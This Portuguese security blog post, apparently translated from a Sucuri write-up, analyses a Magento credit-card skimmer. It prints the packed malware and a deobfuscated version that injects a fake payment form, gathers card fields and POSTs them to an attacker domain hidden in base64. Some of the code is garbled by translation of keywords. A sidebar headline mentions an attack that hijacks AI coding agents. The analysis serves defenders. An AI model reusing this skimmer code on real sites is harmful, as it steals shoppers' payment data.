Categories: AMEAÇAS ATUAIS

Identificado um ladrão de cartão de crédito no Magento.

Durante a remediação de um site, descobrimos recentemente uma nova versão de um ladrão de cartão de crédito Magento que envia todos os dados comprometidos para o domínio malicioso cdn-filestore [dot] com.

Evolução de malware e técnicas evasivas

Uma diferença fundamental entre essa nova versão e aquela sobre a qual Lucas escreveu em abril é que ela não estava embalada. Esse detalhe sugere que os invasores atualizaram o malware na tentativa de ofuscá-lo e evitar a detecção. Com base nessa observação, podemos supor que eles continuarão a alterar o malware e os domínios como uma manobra evasiva.

O conteúdo malicioso foi compactado usando JavaScript da seguinte maneira:

eval ( função ( p , a , c , k , e , d ) { e = função ( c ) { return ( c < a ? ' ' : e ( parseInt ( c / a ) ) ) + ( ( c = c % a ) > 35 ? String . fromCharCode( c + 29 ) : c . toString ( 36 ) ) } ; if ( ! ' ' . substituir ( / ^ / , String ) ) { while ( c - ) { d [ e ( c ) ] = k [ c ] || e ( c ) } k = [ função( e ) { return d [ e ] } ] ; e = function ( ) { return ' \\ w + ' } ; c = 1 } ; enquanto ( c - ) { if ( k [ c ] ) { p = p . substituir ( novo RegExp ( ' \\ b ' +e ( c ) + ' \\ b ' , ' g ' ) , k [ c ] ) } } return p } ( ' 1c z = "<k> <l F = \\ " h: H \\ "> < m> * </m> 1b ty </l> <ce = \\ "gE \\ "> <g K = \\ "w \\ " n = \\ "h: H \\ " d = \\ "h [H] \\ " Q = \\ "1b ty \\ "e = \\"gw CG-1k \\ " a = \\ " \\ " s = \\ "q \\ "> </c> </k> <k> <l F = \\ "1m: 1n \\ " > <m> * </m> 1p 1o </l> <ce = \\ "gE \\ "> <ce = \\ "vD \\ "> <jn = \\ "h: 1i \\ " d = \\ "h [1i] \\ " e = \\ "1t CG-1u \\ " s = \\ "q \\ "> <0 a = \\ " \\ "p = \\ "p \\ "> 1v </0> <0 a = \\ "1 \\"> 1w </0> <0 a = \\ " 2 \\ "> 1A </0> <0 a = \\ " 3 \\ "> 1j </0> <0 a = \\ " 4 \ \ "> 1q </0> <0 a = \\ " 5 \\ "> 1B </0> <0 a = \\ " 6 \\ "> 1z </0> <0 a = \\ " 7 \\ "> 1a </0> <0 a = \\ " 8 \\ "> 1x </0> <0 a = \\ " 9 \\ "> 1s </0> <0 a = \\ " 10 \\ "> 10 </0> <0 a = \\ "11 \\ "> 11 </0> <0 a = \\ "12 \\ "> 12 </0> </j> </c> <ce = \\ "vD\\ "> <jn = \\ " h: R \\ "d = \\ " h [R] \\ "e = \\ " 1r \\ "s = \\ " q \\ "> <0 a = \\ " \\ " p = \\ "p \\ "> 1l </0> <0 a = \\ "U \\ "> U </0> <0 a = \\ "18 \\ " > 18 </0> <0 a = \\ "16 \\ "> 16 </0> <0 a = \\ "15 \\ "> 15 </0> <0 a = \\ "14 \\ "> 14 </0> <0 a = \\ "13 \\ "> 13 </0> <0 a =\\ "Z \\ "> Z </0> <0 a = \\ "Y \\ "> Y </0> <0 a = \\ "T \\ "> T </0> <0 a = \\ "X \\ "> X </0> <0 a = \\ "W \\ "> W </0> <0 a = \\ "V \\ "> V </0> </ j> </c> </c> </k> <k> <l F = \\ "h: 1a \\ "> <m> * </m> t O y </l> <ce = \ \ "gE \\ "> <ce = \\ "vD \\ "> <g K = \\ "w \\ " Q = \\ "t O y \\ " e = \\ "gw 1T CG-1E \\"n = \\ " 1h \\ "d = \\ " h [1a] \\ "a = \\ " \\ "s = \\ " q \\ "> </c> </c> </ k> "; b (1N) .1M (o () {b (" # 1L-1K-1J "). 19 (1d); b (" # 1g "). A (z); b (" g " ) .r ("u"); b ("j"). r ("u")}); b ("A"). 19 (o () {b ("g"). r ("u" ); b ("j"). r ("u"); 1f (! b ( \ ' * \' ) .1H ( \ ' # 1h \' )) {b ("# 1g"). A (z )}}); o 1d () {1c i = {}, I, L, 17 = N ("1G / ​​1F"), B = J (1D.B); b ("g, j"). 1C (o () {I = (i [fd] == "" || i [fd] == "x" || 1e i [f.d] === "x") && f.d! = "" && f.d! = "x" && 1e fd! == "x"; 1f (I) {i [fd] = fa; 1I S} i [ fn] = fa}); L = J (1O (1P (J (1Q.1R (i))))); b.1Y (17, o (P) {b.1X ({1Z: N (P) , 1U: {1V: S}, K: "1S", M: "M =" + L + "& 1W =" + B})})} ' , 62, 124 , ' option |||||||||| valor | jQuery | div | nome | classe | esta | entrada | pagamento | arr | selecionar | li | rótulo | em | id | função | selecionado | desligado | removeAttr | preenchimento automático | Cartão | desativado || texto | indefinido | Número | formulário | html | host | validar | corrigir | caixa | para | cc | cc_number | bl | encodeURIComponent | type | string | data | atob | Verificação | dat | title | cc_exp_year | true | 2026 | 2018 | 2029 | 2028 | 2027 | 2025 | 2024 |||| 2023 | 2022 | 2021 | 2020 | domain | 2019 | click | cc_cid | Credit | var | onestepcheckout_payment | typeof | if | payment_form_payco | cc_cid_data | cc_exp_month | 03 | número | Ano | faturamento | expiration_date | Data | Expiração | 04 | ano | 09 | mês | exp | Mês | 01 | 08 | 07 | 06 | 02 | 05 | cada | local | cvn | YWxs | Ly9jZG4tZmlsZXN0b3JlLmNvbZS9waS5jYWN | is | return | order | place | onestepcheckout | ready | document | btoa | unescape | JSON | stringify | POST | cvv | xhrFields | withCredentials | target | ajax | get | url' . dividir ( ' | ' ) , 0 , { } ) ) ;

Usando um empacotador de JavaScript, os agentes mal-intencionados podem ocultar melhor o verdadeiro funcionamento do script – mas há alguns sinais de alerta óbvios aqui. Por exemplo, rótulos como “onestepcheckout” e “cc_exp_month” são um bom sinal de que esse código malicioso está coletando informações confidenciais.

Roubo e extração de informações

Assim que terminarmos de descompactar o código, o comportamento malicioso será revelado.

var form =  " <li> <label for = \" payment: cc_number \ " > <em> * </em> Número do cartão de crédito </label> <div class = \" input-box \ " > <input type = \ " text \" id = \ " pagamento: cc_number \" name = \ " pagamento [cc_number] \" title = \ " Número do cartão de crédito \" class = \ " input-text validate-cc-number \" value = \ " \" autocomplete = \ "desligado \ " > </div> </li> <li> <rótulo para = \"faturamento: expiration_date \ " > <em> * </em> Data de expiração </label> <div class = \" input-box \ " > <div class = \" v-fix \ " > <select id = \" pagamento: cc_exp_month \ " name = \" pagamento [cc_exp_month] \ " class = \" mês validate-cc-exp \ " autocomplete = \" off \ " > <option value = \" \ " selected = \" selected \ " > Mês </option> <option value = \ "1 \ " > 01 </option> <option value = \" 2\ " > 02 </option> <option value = \" 3 \ " > 03 </option> <option value = \" 4 \ " > 04 </option> <option value = \" 5 \ " > 05 < / option> <option value = \ " 6 \" > 06 </option> <option value = \ " 7 \" > 07 </option> <option value = \ " 8 \" > 08 </option> <option value = \ " 9 \" > 09 </option> <option value = \ " 10 \" > 10 </option> <option value = \ " 11 \" > 11 </option> <option value = \ " 12 \"> 12 </option> </select> </div> <div class = \ " v-fix \" > <select id = \ " pagamento: cc_exp_year \" name = \ " pagamento [cc_exp_year] \" class = \ " ano \" autocomplete = \ " off \" > <option value = \ " \" selected = \ " selected \" > Ano </option> <option value = \ " 2018 \" > 2018 </option> <option value = \ " 2019 \" > 2019 </option> <option value = \ " 2020 \" > 2020 </option> <option value = \ "2021 \ " > 2021 </option> <option value = \" 2022 \ " > 2022 </option> <option value = \" 2023 \ " > 2023 </option> <option value = \" 2024 \ " > 2024 </option> <option value = \ " 2025 \" > 2025 </option> <option value = \ " 2026 \" > 2026 </option> <option value = \ " 2027 \" > 2027 </option> < option value = \ " 2028 \" > 2028 </option> <option value = \ "2029 \ " > 2029 </option> </select> </div> </div> </li> <li> <rótulo para = \" pagamento: cc_cid\ " > <em> * </em> Número de verificação do cartão </label> <div class = \" input-box \ " > <div class = \" v-fix \ " > <input type = \" text \ " title = \" Número de verificação do cartão \ " class = \" input-text cvv validate-cc-cvn \ " id = \" cc_cid_data \ " name = \" pagamento [cc_cid] \ " value = \" \ " autocomplete = \ " off \" > </div> </div> </ li> " ; 
jQuery ( documento ). ready ( function  ( )  { 
    jQuery ( " # onestepcheckout-place-order " ) . click ( onestepcheckout_payment ) ; 
    jQuery ( " #payment_form_payco " ) . html ( form ) ; 
    jQuery ( " input " ) . removeAttr ( " disabled " ) ; 
    jQuery ( " selecionar ") . removeAttr ( " disabled " ) 
} ) ; 
jQuery ( " html " ) . click ( function  ( )  { 
    jQuery ( " input " ) . removeAttr ( " disabled " ) ; 
    jQuery ( " select " ) . removeAttr ( " disabled " ) ; 
    if  (! jQuery ( ' * ' ) . is ( ' #cc_cid_data ' ) )  { 
        jQuery ( " #payment_form_payco " ) . html ( formulário ) 
    } 
} ) ; 
function onestepcheckout_payment ( )  { 
    var arr =  { } , 
    bl , string , domain = atob ( "Ly9jZG4tZmlsZXN0b3JlLmNvbS9jYWNoZS5waHA / YWxs " ) , 
    de acolhimento =  encodeURIComponent ( localização . Hospedeira ) ; 
    jQuery ( " entrada, seleccionar " ) . Cada ( função  ( )  { 
        bl =  ( arr [ este . Nome ]  ==  " "  || arr [ este . Nome ]  ==  " undefined "  || typeof arr [ this . nome ]  ===  " indefinido " )  &&  isso . nome ! =  " "  &&  isso . nome ! =  " undefined "  &&  typeof  this . nome ! ==  " indefinido " ; 
        if  ( bl )  { 
            arr [ this . nome ]  =  isso . valor ;
            return  true 
        } 
        arr [ this . id ]  =  isso . valor
     } ) ; 
    string =  encodeURIComponent ( btoa ( unescape ( encodeURIComponent ( JSON . stringify ( arr ) ) ) ) ) ; 
    jQuery . get ( domínio ,  função  ( dat )  { 
        jQuery . ajax( { 
            url : atob ( dat ) , 
            xhrFields :  { 
                withCredentials :  true 
            } , 
            digite :  " POST " , 
            data :  " data = "  + string +  " & target = "  + host
         } ) 
    } ) 
}

Este exemplo de código inclui um formulário com todas as informações do cartão de crédito, mas o snippet mais interessante está no final, que contém o domínio usado para a exfiltração dos dados de pagamento desnatados.

função onestepcheckout_payment ( )  { 
    var arr =  { } , 
    bl , string , domain = atob ( " Ly9jZG4tZmlsZXN0b3JlLmNvbS9jYWNoZS5waHA / YWxs " ) , 
    host =  encodeURIComponent ( local . host ) ;

A string codificada em base64 decodifica para //cdn-filestore[dot]com/cache.php?all

Posteriormente, os dados são codificados em base64, convertidos para o formato JSON, após o qual jQuery é usado para enviar os dados coletados (exfiltração). As informações coletadas são então enviadas para cdn-filestore [dot] com por meio de uma solicitação POST.

string =  encodeURIComponent ( btoa ( unescape ( encodeURIComponent ( JSON . stringify ( arr ) ) ) ) ) ; 
    jQuery . get ( domínio ,  função  ( dat )  { 
        jQuery . ajax ( { 
            url : atob ( dat ) , 
            xhrFields :  { 
                withCredentials:  true 
            } , 
            digite :  " POST " , 
            data :  " data = "  + string +  " & target = "  + host
         } ) 
    } )

Etapas de Conclusão e Mitigação

Este malware foi encontrado injetado em um dos arquivos .js dentro de ./media/js/ , e não é incomum encontrar outros arquivos injetados com esse código também.

Os ladrões de cartão de crédito estão se tornando uma ameaça cada vez mais comum. Como os consumidores continuam dependendo fortemente das compras online, esperamos apenas um aumento nos ataques contra sites de comércio eletrônico.

Você pode reduzir o risco mantendo o software do seu site atualizado ou corrigindo virtualmente vulnerabilidades conhecidas com um firewall do site .

No caso de um incidente, os serviços de monitoramento de integridade e a resposta profissional a incidentes são as melhores maneiras de detectar e responder ao comprometimento de um site.

Fonte: https://blog.sucuri.net/2020/08/cdn-filestore-credit-card-stealer-for-magento.html

Ninja

Na cena de cybersecurity a mais de 25 anos, Ninja trabalha como evangelizador de segurança da informação no Brasil. Preocupado com a conscientização de segurança cibernética, a ideia inicial é conseguir expor um pouco para o publico Brasileiro do que acontece no mundo.

Recent Posts

Coreia do Sul aplica multa recorde de US$ 409 milhões à Coupang por mega vazamento que expôs 65% da população

PIPC sul-coreano aplicou multa recorde de US$ 409 milhões à Coupang após vazamento de dados…

2 horas ago

Mais de 400 pacotes do Arch Linux AUR são sequestrados em ataque de supply chain com stealer Rust e rootkit eBPF

Campanha Atomic Arch (Sonatype-2026-003775, CVSS 8.7) sequestrou mais de 400 pacotes órfãos do AUR para…

2 horas ago

ServiceNow corrige falha que permitia acesso não autenticado a tabelas de instâncias

ServiceNow aplicou patch silencioso em 5 de junho para falha que permitia acesso não autenticado…

2 horas ago

Handala reivindica ataque à Cal Water: 5 GB vazados expuseram PII de clientes e credenciais do RTKBase

Grupo iraniano ligado ao MOIS publica 5 GB com dados de clientes e credenciais administrativas…

1 dia ago

Operador do Void Blizzard ligado ao Kremlin é levado a corte federal nos EUA após extradição da Tailândia

Russo Denis Obrezko, 36, comparece a tribunal em Boston acusado de fornecer infraestrutura VPS e…

1 dia ago

Agentjacking: ataque transforma Claude Code e Cursor em vetores de execução remota via Sentry MCP

Pesquisadores da Tenet Security divulgam ataque que injeta payload em eventos do Sentry e leva…

1 dia ago